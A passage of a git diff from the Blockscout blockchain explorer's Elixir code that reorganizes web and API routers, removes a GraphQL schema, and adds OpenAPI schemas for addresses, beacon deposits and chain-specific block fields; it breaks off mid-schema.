BlockScoutWeb.Plug.CheckApiV2 + + pipeline :api_v2_no_forgery_protect do + plug( + Plug.Parsers, + parsers: [:urlencoded, :multipart, :json], + length: 100_000, + query_string_length: 5_000, + pass: ["*/*"], + json_decoder: Poison + ) + + plug(BlockScoutWeb.Plug.Logger, application: :api_v2) + plug(:accepts, ["json"]) + plug(CheckApiV2) + plug(:fetch_session) + end + + scope "/", as: :api_v2 do + pipe_through(:api_v2_no_forgery_protect) + alias BlockScoutWeb.API.V2 + + get("/decode-calldata", V2.UtilsController, :decode_calldata) + post("/decode-calldata", V2.UtilsController, :decode_calldata) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/web_router.ex b/apps/block_scout_web/lib/block_scout_web/routers/web_router.ex similarity index 87% rename from apps/block_scout_web/lib/block_scout_web/web_router.ex rename to apps/block_scout_web/lib/block_scout_web/routers/web_router.ex index c3ad18e43d69..67339e758ced 100644 --- a/apps/block_scout_web/lib/block_scout_web/web_router.ex +++ b/apps/block_scout_web/lib/block_scout_web/routers/web_router.ex @@ -1,10 +1,25 @@ -defmodule BlockScoutWeb.WebRouter do +defmodule BlockScoutWeb.Routers.WebRouter do @moduledoc """ Router for web app """ use BlockScoutWeb, :router + require Ueberauth + + alias BlockScoutWeb.Routers.AccountRouter + + @max_query_string_length 5_000 pipeline :browser do + plug( + Plug.Parsers, + parsers: [:urlencoded, :multipart, :json], + length: 20_000_000, + query_string_length: @max_query_string_length, + pass: ["*/*"], + json_decoder: Poison + ) + + plug(BlockScoutWeb.Plug.Logger, application: :block_scout_web) plug(:accepts, ["html"]) plug(:fetch_session) plug(:fetch_flash) @@ -13,6 +28,12 @@ defmodule BlockScoutWeb.WebRouter do plug(BlockScoutWeb.ChecksumAddress) end + if Mix.env() == :dev do + forward("/sent_emails", Bamboo.SentEmailViewerPlug) + end + + forward("/account", AccountRouter) + # Disallows Iframes (write routes) scope "/", BlockScoutWeb do pipe_through(:browser) @@ -36,12 +57,17 @@ defmodule BlockScoutWeb.WebRouter do resources "/block", BlockController, only: [:show], param: "hash_or_number" do resources("/transactions", BlockTransactionController, only: [:index], as: :transaction) + resources("/withdrawals", BlockWithdrawalController, only: [:index], as: :withdrawal) end resources("/blocks", BlockController, as: :blocks, only: [:index]) - resources "/blocks", BlockController, as: :block_secondary, only: [:show], param: "hash_or_number" do + resources "/blocks", BlockController, + as: :block_secondary, + only: [:show], + param: "hash_or_number" do resources("/transactions", BlockTransactionController, only: [:index], as: :transaction) + resources("/withdrawals", BlockWithdrawalController, only: [:index], as: :withdrawal) end get("/reorgs", BlockController, :reorg, as: :reorg) @@ -52,6 +78,10 @@ defmodule BlockScoutWeb.WebRouter do resources("/recent-transactions", RecentTransactionsController, only: [:index]) + resources("/verified-contracts", VerifiedContractsController, only: [:index]) + + resources("/withdrawals", WithdrawalController, only: [:index]) + get("/txs", TransactionController, :index) resources "/tx", TransactionController, only: [:show] do @@ -75,6 +105,11 @@ defmodule BlockScoutWeb.WebRouter do only: [:index], as: :token_transfer ) + + resources("/state", TransactionStateController, + only: [:index], + as: :state + ) end resources("/accounts", AddressController, only: [:index]) @@ -105,13 +140,6 @@ defmodule BlockScoutWeb.WebRouter do as: :contract ) - resources( - "/decompiled-contracts", - AddressDecompiledContractController, - only: [:index], - as: :decompiled_contract - ) - resources( "/logs", AddressLogsController, @@ -196,6 +224,13 @@ defmodule BlockScoutWeb.WebRouter do as: :token_transfers ) + resources( + "/withdrawals", + AddressWithdrawalController, + only: [:index], + as: :withdrawal + ) + resources("/tokens", AddressTokenController, only: [:index], as: :token) do resources( "/token-transfers", @@ -400,22 +435,18 @@ defmodule BlockScoutWeb.WebRouter do get("/search-results", SearchController, :search_results) - get("/csv-export", CsvExportController, :index) + get("/search-verified-contracts", VerifiedContractsController, :search_verified_contracts) - get("/transactions-csv", AddressTransactionController, :transactions_csv) + get("/csv-export", CsvExportController, :index) get("/token-autocomplete", ChainController, :token_autocomplete) - get("/token-transfers-csv", AddressTransactionController, :token_transfers_csv) - - get("/internal-transactions-csv", AddressTransactionController, :internal_transactions_csv) - - get("/logs-csv", AddressTransactionController, :logs_csv) - get("/chain-blocks", ChainController, :chain_blocks, as: :chain_blocks) get("/token-counters", Tokens.TokenController, :token_counters) + get("/visualize/sol2uml", VisualizeSol2umlController, :index) + get("/*path", PageNotFoundController, :index) end end diff --git a/apps/block_scout_web/lib/block_scout_web/schema.ex b/apps/block_scout_web/lib/block_scout_web/schema.ex deleted file mode 100644 index 42d644c41830..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/schema.ex +++ /dev/null @@ -1,124 +0,0 @@ -defmodule BlockScoutWeb.Schema do - @moduledoc false - - use Absinthe.Schema - use Absinthe.Relay.Schema, :modern - - alias Absinthe.Middleware.Dataloader, as: AbsintheMiddlewareDataloader - alias Absinthe.Plugin, as: AbsinthePlugin - - alias BlockScoutWeb.Resolvers.{ - Address, - Block, - InternalTransaction, - TokenTransfer, - Transaction - } - - alias Explorer.Chain - alias Explorer.Chain.InternalTransaction, as: ExplorerChainInternalTransaction - alias Explorer.Chain.TokenTransfer, as: ExplorerChainTokenTransfer - alias Explorer.Chain.Transaction, as: ExplorerChainTransaction - - import_types(BlockScoutWeb.Schema.Types) - - node interface do - resolve_type(fn - %ExplorerChainInternalTransaction{}, _ -> - :internal_transaction - - %ExplorerChainTokenTransfer{}, _ -> - :token_transfer - - %ExplorerChainTransaction{}, _ -> - :transaction - - _, _ -> - nil - end) - end - - query do - node field do - resolve(fn - %{type: :internal_transaction, id: id}, _ -> - %{"transaction_hash" => transaction_hash_string, "index" => index} = Jason.decode!(id) - {:ok, transaction_hash} = Chain.string_to_transaction_hash(transaction_hash_string) - InternalTransaction.get_by(%{transaction_hash: transaction_hash, index: index}) - - %{type: :token_transfer, id: id}, _ -> - %{"transaction_hash" => transaction_hash_string, "log_index" => log_index} = Jason.decode!(id) - {:ok, transaction_hash} = Chain.string_to_transaction_hash(transaction_hash_string) - TokenTransfer.get_by(%{transaction_hash: transaction_hash, log_index: log_index}) - - %{type: :transaction, id: transaction_hash_string}, _ -> - {:ok, hash} = Chain.string_to_transaction_hash(transaction_hash_string) - Transaction.get_by(%{}, %{hash: hash}, %{}) - - _, _ -> - {:error, "Unknown node"} - end) - end - - @desc "Gets an address by hash." - field :address, :address do - arg(:hash, non_null(:address_hash)) - resolve(&Address.get_by/3) - end - - @desc "Gets addresses by address hash." - field :addresses, list_of(:address) do - arg(:hashes, non_null(list_of(non_null(:address_hash)))) - resolve(&Address.get_by/3) - complexity(fn %{hashes: hashes}, child_complexity -> length(hashes) * child_complexity end) - end - - @desc "Gets a block by number." - field :block, :block do - arg(:number, non_null(:integer)) - resolve(&Block.get_by/3) - end - - @desc "Gets token transfers by token contract address hash." - connection field(:token_transfers, node_type: :token_transfer) do - arg(:token_contract_address_hash, non_null(:address_hash)) - arg(:count, :integer) - - resolve(&TokenTransfer.get_by/3) - - complexity(fn - %{first: first}, child_complexity -> - first * child_complexity - - %{last: last}, child_complexity -> - last * child_complexity - end) - end - - @desc "Gets a transaction by hash." - field :transaction, :transaction do - arg(:hash, non_null(:full_hash)) - resolve(&Transaction.get_by/3) - end - end - - subscription do - field :token_transfers, list_of(:token_transfer) do - arg(:token_contract_address_hash, non_null(:address_hash)) - - config(fn args, _info -> - {:ok, topic: to_string(args.token_contract_address_hash)} - end) - end - end - - def context(context) do - loader = Dataloader.add_source(Dataloader.new(), :db, Chain.data()) - - Map.put(context, :loader, loader) - end - - def plugins do - [AbsintheMiddlewareDataloader] ++ AbsinthePlugin.defaults() - end -end diff --git a/apps/block_scout_web/lib/block_scout_web/schema/types.ex b/apps/block_scout_web/lib/block_scout_web/schema/types.ex deleted file mode 100644 index bc77abf1fc65..000000000000 --- a/apps/block_scout_web/lib/block_scout_web/schema/types.ex +++ /dev/null @@ -1,176 +0,0 @@ -defmodule BlockScoutWeb.Schema.Types do - @moduledoc false - - use Absinthe.Schema.Notation - use Absinthe.Relay.Schema.Notation, :modern - - import Absinthe.Resolution.Helpers - - alias BlockScoutWeb.Resolvers.{ - InternalTransaction, - Transaction - } - - import_types(Absinthe.Type.Custom) - import_types(BlockScoutWeb.Schema.Scalars) - - connection(node_type: :transaction) - connection(node_type: :internal_transaction) - connection(node_type: :token_transfer) - - @desc """ - A stored representation of a Web3 address. - """ - object :address do - field(:hash, :address_hash) - field(:fetched_coin_balance, :wei) - field(:fetched_coin_balance_block_number, :integer) - field(:contract_code, :data) - - field :smart_contract, :smart_contract do - resolve(dataloader(:db, :smart_contract)) - end - - connection field(:transactions, node_type: :transaction) do - arg(:count, :integer) - arg(:order, type: :sort_order, default_value: :desc) - resolve(&Transaction.get_by/3) - - complexity(fn - %{first: first}, child_complexity -> - first * child_complexity - - %{last: last}, child_complexity -> - last * child_complexity - - %{}, _child_complexity -> - 0 - end) - end - end - - @desc """ - A package of data that contains zero or more transactions, the hash of the previous block ("parent"), and optionally - other data. Because each block (except for the initial "genesis block") points to the previous block, the data - structure that they form is called a "blockchain". - """ - object :block do - field(:hash, :full_hash) - field(:consensus, :boolean) - field(:difficulty, :decimal) - field(:gas_limit, :decimal) - field(:gas_used, :decimal) - field(:nonce, :nonce_hash) - field(:number, :integer) - field(:size, :integer) - field(:timestamp, :datetime) - field(:total_difficulty, :decimal) - field(:miner_hash, :address_hash) - field(:parent_hash, :full_hash) - end - - @desc """ - Models internal transactions. - """ - node object(:internal_transaction, id_fetcher: &internal_transaction_id_fetcher/2) do - field(:call_type, :call_type) - field(:created_contract_code, :data) - field(:error, :string) - field(:gas, :decimal) - field(:gas_used, :decimal) - field(:index, :integer) - field(:init, :data) - field(:input, :data) - field(:output, :data) - field(:trace_address, :json) - field(:type, :type) - field(:value, :wei) - field(:block_number, :integer) - field(:transaction_index, :integer) - field(:created_contract_address_hash, :address_hash) - field(:from_address_hash, :address_hash) - field(:to_address_hash, :address_hash) - field(:transaction_hash, :full_hash) - end - - @desc """ - The representation of a verified Smart Contract. - - "A contract in the sense of Solidity is a collection of code (its functions) - and data (its state) that resides at a specific address on the Ethereum - blockchain." - http://solidity.readthedocs.io/en/v0.4.24/introduction-to-smart-contracts.html - """ - object :smart_contract do - field(:name, :string) - field(:compiler_version, :string) - field(:optimization, :boolean) - field(:contract_source_code, :string) - field(:abi, :json) - field(:address_hash, :address_hash) - end - - @desc """ - Represents a token transfer between addresses. - """ - node object(:token_transfer, id_fetcher: &token_transfer_id_fetcher/2) do - field(:amount, :decimal) - field(:block_number, :integer) - field(:log_index, :integer) - field(:token_id, :decimal) - field(:from_address_hash, :address_hash) - field(:to_address_hash, :address_hash) - field(:token_contract_address_hash, :address_hash) - field(:transaction_hash, :full_hash) - end - - @desc """ - Models a Web3 transaction. - """ - node object(:transaction, id_fetcher: &transaction_id_fetcher/2) do - field(:hash, :full_hash) - field(:block_number, :integer) - field(:cumulative_gas_used, :decimal) - field(:error, :string) - field(:gas, :decimal) - field(:gas_price, :wei) - field(:gas_used, :decimal) - field(:index, :integer) - field(:input, :string) - field(:nonce, :nonce_hash) - field(:r, :decimal) - field(:s, :decimal) - field(:status, :status) - field(:v, :decimal) - field(:value, :wei) - field(:from_address_hash, :address_hash) - field(:to_address_hash, :address_hash) - field(:created_contract_address_hash, :address_hash) - - connection field(:internal_transactions, node_type: :internal_transaction) do - arg(:count, :integer) - resolve(&InternalTransaction.get_by/3) - - complexity(fn - %{first: first}, child_complexity -> - first * child_complexity - - %{last: last}, child_complexity -> - last * child_complexity - - %{}, _child_complexity -> - 0 - end) - end - end - - def token_transfer_id_fetcher(%{transaction_hash: transaction_hash, log_index: log_index}, _) do - Jason.encode!(%{transaction_hash: to_string(transaction_hash), log_index: log_index}) - end - - def transaction_id_fetcher(%{hash: hash}, _), do: to_string(hash) - - def internal_transaction_id_fetcher(%{transaction_hash: transaction_hash, index: index}, _) do - Jason.encode!(%{transaction_hash: to_string(transaction_hash), index: index}) - end -end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/address.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/address.ex new file mode 100644 index 000000000000..5a1e7e2b946a --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/address.ex @@ -0,0 +1,128 @@ +defmodule BlockScoutWeb.Schemas.API.V2.Address.ChainTypeCustomizations do + @moduledoc false + require OpenApiSpex + + alias BlockScoutWeb.Schemas.Helper + alias Ecto.Enum, as: EctoEnum + alias Explorer.Chain.Address + alias OpenApiSpex.Schema + + @filecoin_robust_address_schema %Schema{ + type: :string, + description: "Robust f0/f1/f2/f3/f4 Filecoin address", + example: "f25nml2cfbljvn4goqtclhifepvfnicv6g7mfmmvq", + nullable: true + } + + def chain_type_fields(schema) do + case Application.get_env(:explorer, :chain_type) do + :filecoin -> + schema + |> Helper.extend_schema( + properties: %{ + filecoin: %Schema{ + type: :object, + properties: %{ + id: %Schema{ + type: :string, + description: "Short f0 Filecoin address that may change during chain reorgs", + example: "f03248220", + nullable: true + }, + robust: @filecoin_robust_address_schema, + actor_type: %Schema{ + type: :string, + description: "Type of actor associated with the Filecoin address", + enum: EctoEnum.values(Address, :filecoin_actor_type), + nullable: true + } + }, + required: [:id, :robust, :actor_type], + additionalProperties: false + } + } + ) + + _ -> + schema + end + end +end + +defmodule BlockScoutWeb.Schemas.API.V2.Address do + @moduledoc """ + This module defines the schema for address struct, returned by BlockScoutWeb.API.V2.Helper.address_with_info/5. + + Note that BlockScoutWeb.Schemas.API.V2.Address.Response is defined in __after_compile__/2 callback. This is done to reuse the Address schema in the AddressResponse schema. + """ + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.Address.ChainTypeCustomizations + alias BlockScoutWeb.Schemas.API.V2.{General, Proxy} + alias Explorer.Chain.Address.Reputation + alias OpenApiSpex.Schema + + OpenApiSpex.schema( + %{ + description: "Address", + type: :object, + properties: %{ + hash: General.AddressHash, + is_contract: %Schema{type: :boolean, description: "Has address contract code?", nullable: true}, + name: %Schema{type: :string, description: "Name associated with the address", nullable: true}, + is_scam: %Schema{type: :boolean, description: "Has address scam badge?", nullable: false}, + reputation: %Schema{ + type: :string, + enum: Reputation.enum_values(), + description: "Reputation of the address", + nullable: false + }, + proxy_type: General.ProxyType, + implementations: %Schema{ + description: "Implementations linked with the contract", + type: :array, + items: General.Implementation + }, + is_verified: %Schema{type: :boolean, description: "Has address associated source code?", nullable: true}, + ens_domain_name: %Schema{ + type: :string, + description: "ENS domain name associated with the address", + nullable: true + }, + metadata: %Schema{allOf: [Proxy.Metadata], nullable: true}, + private_tags: %Schema{ + description: "Private tags associated with the address", + type: :array, + items: General.Tag + }, + watchlist_names: %Schema{ + description: "Watch list name associated with the address", + type: :array, + items: General.WatchlistName + }, + public_tags: %Schema{ + description: "Public tags associated with the address", + type: :array, + items: General.Tag + } + }, + required: [ + :hash, + :is_contract, + :name, + :is_scam, + :reputation, + :proxy_type, + :implementations, + :is_verified, + :ens_domain_name, + :metadata, + :private_tags, + :watchlist_names, + :public_tags + ], + additionalProperties: false + } + |> ChainTypeCustomizations.chain_type_fields() + ) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/address/counters.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/address/counters.ex new file mode 100644 index 000000000000..5c795ef3ba66 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/address/counters.ex @@ -0,0 +1,22 @@ +defmodule BlockScoutWeb.Schemas.API.V2.Address.Counters do + @moduledoc """ + This module defines the schema for address counters. + """ + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.General + + OpenApiSpex.schema(%{ + title: "AddressCounters", + description: "Address counters", + type: :object, + properties: %{ + transactions_count: General.IntegerString, + token_transfers_count: General.IntegerString, + gas_usage_count: General.IntegerString, + validations_count: General.IntegerString + }, + required: [:transactions_count, :token_transfers_count, :gas_usage_count, :validations_count], + additionalProperties: false + }) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/address/response.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/address/response.ex new file mode 100644 index 000000000000..36815e342598 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/address/response.ex @@ -0,0 +1,110 @@ +defmodule BlockScoutWeb.Schemas.API.V2.Address.Response.ChainTypeCustomizations do + @moduledoc false + require OpenApiSpex + + alias BlockScoutWeb.Schemas.Helper + alias OpenApiSpex.Schema + + @filecoin_robust_address_schema %Schema{ + type: :string, + description: "Robust f0/f1/f2/f3/f4 Filecoin address", + example: "f25nml2cfbljvn4goqtclhifepvfnicv6g7mfmmvq", + nullable: true + } + + @zilliqa_schema %Schema{ + type: :object, + properties: %{ + is_scilla_contract: %Schema{type: :boolean, nullable: false} + }, + required: [:is_scilla_contract], + additionalProperties: false + } + + @doc """ + Applies chain-specific field customizations to the given schema based on the configured chain type. + + ## Parameters + - `schema`: The base schema map to be customized + + ## Returns + - The schema map with chain-specific properties added based on the current chain type configuration + """ + @spec chain_type_fields(map()) :: map() + def chain_type_fields(schema) do + case Application.get_env(:explorer, :chain_type) do + :filecoin -> + schema + |> Helper.extend_schema( + properties: %{creator_filecoin_robust_address: @filecoin_robust_address_schema}, + required: [:creator_filecoin_robust_address] + ) + + :zilliqa -> + schema + |> Helper.extend_schema( + properties: %{zilliqa: @zilliqa_schema}, + required: [:zilliqa] + ) + + _ -> + schema + end + end +end + +defmodule BlockScoutWeb.Schemas.API.V2.Address.Response do + @moduledoc """ + This module defines the schema for address response from /api/v2/addresses/:hash. + """ + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.Address.Response.ChainTypeCustomizations + alias BlockScoutWeb.Schemas.API.V2.{Address, General, Token} + alias BlockScoutWeb.Schemas.Helper + alias OpenApiSpex.Schema + + OpenApiSpex.schema( + Address.schema() + |> Helper.extend_schema( + title: "AddressResponse", + description: "Address response", + properties: %{ + creator_address_hash: General.AddressHashNullable, + creation_transaction_hash: General.FullHashNullable, + token: %Schema{allOf: [Token], nullable: true}, + coin_balance: General.IntegerStringNullable, + exchange_rate: General.FloatStringNullable, + block_number_balance_updated_at: %Schema{type: :integer, minimum: 0, nullable: true}, + has_validated_blocks: %Schema{type: :boolean, nullable: false}, + has_logs: %Schema{type: :boolean, nullable: false}, + has_tokens: %Schema{type: :boolean, nullable: false}, + has_token_transfers: %Schema{type: :boolean, nullable: false}, + watchlist_address_id: %Schema{type: :integer, nullable: true}, + has_beacon_chain_withdrawals: %Schema{type: :boolean, nullable: false}, + creation_status: %Schema{ + type: :string, + description: "Creation status of the contract", + enum: ["success", "failed", "selfdestructed"], + nullable: true + } + }, + required: [ + :creator_address_hash, + :creation_transaction_hash, + :token, + :coin_balance, + :exchange_rate, + :block_number_balance_updated_at, + :has_validated_blocks, + :has_logs, + :has_tokens, + :has_token_transfers, + :watchlist_address_id, + :has_beacon_chain_withdrawals, + :creation_status + ] + ) + |> ChainTypeCustomizations.chain_type_fields() + ) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/address/tabs_counters.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/address/tabs_counters.ex new file mode 100644 index 000000000000..d265c4e6f831 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/address/tabs_counters.ex @@ -0,0 +1,26 @@ +defmodule BlockScoutWeb.Schemas.API.V2.Address.TabsCounters do + @moduledoc """ + This module defines the schema for the Address.TabsCounters struct. + """ + require OpenApiSpex + + alias OpenApiSpex.Schema + + OpenApiSpex.schema(%{ + title: "AddressTabsCounters", + description: "Counters for address tabs", + type: :object, + properties: %{ + transactions_count: %Schema{type: :integer, nullable: false}, + token_transfers_count: %Schema{type: :integer, nullable: false}, + token_balances_count: %Schema{type: :integer, nullable: false}, + logs_count: %Schema{type: :integer, nullable: false}, + withdrawals_count: %Schema{type: :integer, nullable: false}, + internal_transactions_count: %Schema{type: :integer, nullable: false}, + validations_count: %Schema{type: :integer, nullable: false}, + celo_election_rewards_count: %Schema{type: :integer, nullable: false}, + beacon_deposits_count: %Schema{type: :integer, nullable: false} + }, + additionalProperties: false + }) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/address/token_balance.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/address/token_balance.ex new file mode 100644 index 000000000000..4aacf99ac4bc --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/address/token_balance.ex @@ -0,0 +1,21 @@ +defmodule BlockScoutWeb.Schemas.API.V2.Address.TokenBalance do + @moduledoc """ + This module defines the schema for the TokenBalance struct. + """ + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.{General, Token, TokenInstance} + alias OpenApiSpex.Schema + + OpenApiSpex.schema(%{ + type: :object, + properties: %{ + value: General.IntegerString, + token: %Schema{allOf: [Token], nullable: true}, + token_id: General.IntegerStringNullable, + token_instance: %Schema{allOf: [TokenInstance], nullable: true} + }, + required: [:value, :token, :token_id, :token_instance], + additionalProperties: false + }) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/beacon/deposit.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/beacon/deposit.ex new file mode 100644 index 000000000000..a86acc70cbf3 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/beacon/deposit.ex @@ -0,0 +1,41 @@ +defmodule BlockScoutWeb.Schemas.API.V2.Beacon.Deposit do + @moduledoc """ + This module defines the schema for the Beacon.Deposit struct. + """ + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.{Address, Beacon.Deposit.Status, General} + alias OpenApiSpex.Schema + + OpenApiSpex.schema(%{ + type: :object, + properties: %{ + index: %Schema{type: :integer, nullable: false}, + transaction_hash: General.FullHash, + block_hash: General.FullHash, + block_number: %Schema{type: :integer, nullable: false}, + block_timestamp: General.Timestamp, + pubkey: %Schema{type: :string, pattern: ~r"^0x([A-Fa-f0-9]{96})$", nullable: false}, + withdrawal_credentials: %Schema{type: :string, pattern: ~r"^0x([A-Fa-f0-9]{64})$", nullable: false}, + withdrawal_address: %Schema{allOf: [Address], nullable: true}, + amount: General.IntegerString, + signature: %Schema{type: :string, pattern: ~r"^0x([A-Fa-f0-9]{192})$", nullable: false}, + status: Status, + from_address: Address + }, + required: [ + :index, + :transaction_hash, + :block_hash, + :block_number, + :block_timestamp, + :pubkey, + :withdrawal_credentials, + :amount, + :signature, + :status, + :from_address + ], + additionalProperties: false + }) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/beacon/deposit/status.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/beacon/deposit/status.ex new file mode 100644 index 000000000000..6e8b041d508a --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/beacon/deposit/status.ex @@ -0,0 +1,8 @@ +defmodule BlockScoutWeb.Schemas.API.V2.Beacon.Deposit.Status do + @moduledoc false + require OpenApiSpex + + alias Explorer.Chain.Beacon.Deposit + + OpenApiSpex.schema(%{type: :string, nullable: false, enum: Deposit.statuses()}) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/block.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/block.ex new file mode 100644 index 000000000000..4e9d170837ec --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/block.ex @@ -0,0 +1,357 @@ +defmodule BlockScoutWeb.Schemas.API.V2.Block.ChainTypeCustomizations do + @moduledoc false + alias BlockScoutWeb.API.V2.ZkSyncView + alias BlockScoutWeb.Schemas.API.V2.{Address, General, Token} + alias BlockScoutWeb.Schemas.Helper + alias OpenApiSpex.Schema + + @zksync_schema %Schema{ + type: :object, + nullable: false, + properties: %{ + batch_number: %Schema{type: :integer, nullable: true}, + status: %Schema{ + type: :string, + enum: ZkSyncView.batch_status_enum(), + nullable: false + }, + commit_transaction_hash: General.FullHashNullable, + commit_transaction_timestamp: General.TimestampNullable, + prove_transaction_hash: General.FullHashNullable, + prove_transaction_timestamp: General.TimestampNullable, + execute_transaction_hash: General.FullHashNullable, + execute_transaction_timestamp: General.TimestampNullable + }, + required: [ + :batch_number, + :status, + :commit_transaction_hash, + :commit_transaction_timestamp, + :prove_transaction_hash, + :prove_transaction_timestamp, + :execute_transaction_hash, + :execute_transaction_timestamp + ], + additionalProperties: false + } + + @arbitrum_schema %Schema{ + type: :object, + nullable: false, + properties: %{ + batch_number: %Schema{type: :integer, nullable: true}, + batch_data_container: %Schema{ + type: :string, + nullable: true, + enum: ["in_blob4844", "in_calldata", "in_celestia", "in_anytrust"] + }, + status: %Schema{ + type: :string, + enum: ["Confirmed on base", "Sent to base", "Sealed on rollup", "Processed on rollup"], + nullable: false + }, + commitment_transaction: %Schema{ + type: :object, + nullable: false, + properties: %{ + hash: General.FullHashNullable, + timestamp: General.TimestampNullable, + status: %Schema{type: :string, enum: ["unfinalized", "finalized"], nullable: true} + }, + required: [:hash, :timestamp, :status] + }, + confirmation_transaction: %Schema{ + type: :object, + nullable: false, + properties: %{ + hash: General.FullHashNullable, + timestamp: General.TimestampNullable, + status: %Schema{type: :string, enum: ["unfinalized", "finalized"], nullable: true} + }, + required: [:hash, :timestamp, :status] + }, + delayed_messages: %Schema{type: :integer, nullable: false}, + l1_block_number: %Schema{type: :integer, nullable: true}, + send_count: %Schema{type: :integer, nullable: true}, + send_root: General.FullHashNullable + }, + required: [:batch_number, :status, :commitment_transaction, :confirmation_transaction], + additionalProperties: false + } + + @blob4844_schema %Schema{ + type: :object, + nullable: false, + properties: %{ + hash: General.FullHashNullable, + l1_transaction_hash: General.FullHashNullable, + l1_timestamp: General.TimestampNullable + }, + required: [:hash, :l1_transaction_hash, :l1_timestamp], + additionalProperties: false + } + + @celestia_schema %Schema{ + type: :object, + nullable: false, + properties: %{ + height: %Schema{type: :integer, nullable: true}, + namespace: %Schema{type: :string, nullable: true}, + commitment: %Schema{type: :string, nullable: true}, + l1_transaction_hash: General.FullHashNullable, + l1_timestamp: General.TimestampNullable + }, + required: [:height, :namespace, :commitment, :l1_transaction_hash, :l1_timestamp], + additionalProperties: false + } + + @optimism_schema %Schema{ + type: :object, + nullable: false, + properties: %{ + number: %Schema{type: :integer, nullable: true}, + l1_timestamp: General.TimestampNullable, + l1_transaction_hashes: %Schema{type: :array, items: General.FullHash, nullable: false}, + batch_data_container: %Schema{type: :string, nullable: false, enum: ["in_blob4844", "in_celestia", "in_calldata"]}, + blobs: %Schema{type: :array, items: %Schema{anyOf: [@blob4844_schema, @celestia_schema]}, nullable: false} + }, + required: [:number, :l1_timestamp, :l1_transaction_hashes, :batch_data_container], + additionalProperties: false + } + + @celo_schema %Schema{ + type: :object, + nullable: false, + properties: %{ + is_epoch_block: %Schema{type: :boolean, nullable: false}, + epoch_number: %Schema{type: :integer, nullable: false}, + l1_era_finalized_epoch_number: %Schema{type: :integer, nullable: true}, + base_fee: %Schema{ + type: :object, + nullable: true, + properties: %{ + recipient: Address, + amount: General.IntegerString, + token: Token, + breakdown: %Schema{ + type: :array, + items: %Schema{ + type: :object, + properties: %{ + address: Address, + amount: General.IntegerString, + percentage: %Schema{type: :number, nullable: false} + }, + required: [:address, :amount, :percentage], + additionalProperties: false + }, + nullable: false + } + }, + required: [:recipient, :amount, :token, :breakdown], + additionalProperties: false + } + }, + required: [:is_epoch_block, :epoch_number, :l1_era_finalized_epoch_number], + additionalProperties: false + } + + @zilliqa_schema %Schema{ + type: :object, + nullable: false, + properties: %{ + view: %Schema{type: :integer, nullable: true}, + quorum_certificate: %Schema{ + type: :object, + nullable: false, + properties: %{ + view: %Schema{type: :integer, nullable: false}, + signature: General.HexString, + signers: %Schema{type: :array, items: %Schema{type: :integer, nullable: false}, nullable: false} + }, + required: [:view, :signature, :signers], + additionalProperties: false + }, + aggregate_quorum_certificate: %Schema{ + type: :object, + nullable: false, + properties: %{ + view: %Schema{type: :integer, nullable: false}, + signature: General.HexString, + signers: %Schema{type: :array, items: %Schema{type: :integer, nullable: false}, nullable: false}, + nested_quorum_certificates: %Schema{ + type: :array, + items: %Schema{ + type: :object, + properties: %{ + view: %Schema{type: :integer, nullable: false}, + signature: General.HexString, + proposed_by_validator_index: %Schema{type: :integer, nullable: false}, + signers: %Schema{type: :array, items: %Schema{type: :integer, nullable: false}, nullable: false} + }, + required: [:view, :signature, :proposed_by_validator_index, :signers], + additionalProperties: false + }, + nullable: false + } + }, + required: [:view, :signature, :signers, :nested_quorum_certificates], + additionalProperties: false + } + }, + required: [:view], + additionalProperties: false + } + + @doc """ + Applies chain-specific field customizations to the given schema based on the configured chain type. + + ## Parameters + - `schema`: The base schema map to be customized + + ## Returns + - The schema map with chain-specific properties added based on the current chain type configuration + """ + @spec chain_type_fields(map()) :: map() + def chain_type_fields(schema) do + case Application.get_env(:explorer, :chain_type) do + :rsk -> + schema + |> Helper.extend_schema( + properties: %{ + minimum_gas_price: General.IntegerString, + bitcoin_merged_mining_header: General.HexString, + bitcoin_merged_mining_coinbase_transaction: General.HexString, + bitcoin_merged_mining_merkle_proof: General.HexString, + hash_for_merged_mining: General.FullHash + } + ) + + :optimism -> + schema |> Helper.extend_schema(properties: %{optimism: @optimism_schema}) + + :zksync -> + schema |> Helper.extend_schema(properties: %{zksync: @zksync_schema}) + + :arbitrum -> + schema |> Helper.extend_schema(properties: %{arbitrum: @arbitrum_schema}) + + :ethereum -> + schema + |> Helper.extend_schema( + properties: %{ + blob_transactions_count: %Schema{type: :integer, nullable: false}, + blob_gas_used: General.IntegerStringNullable, + excess_blob_gas: General.IntegerStringNullable, + blob_gas_price: General.IntegerString, + burnt_blob_fees: General.IntegerString, + 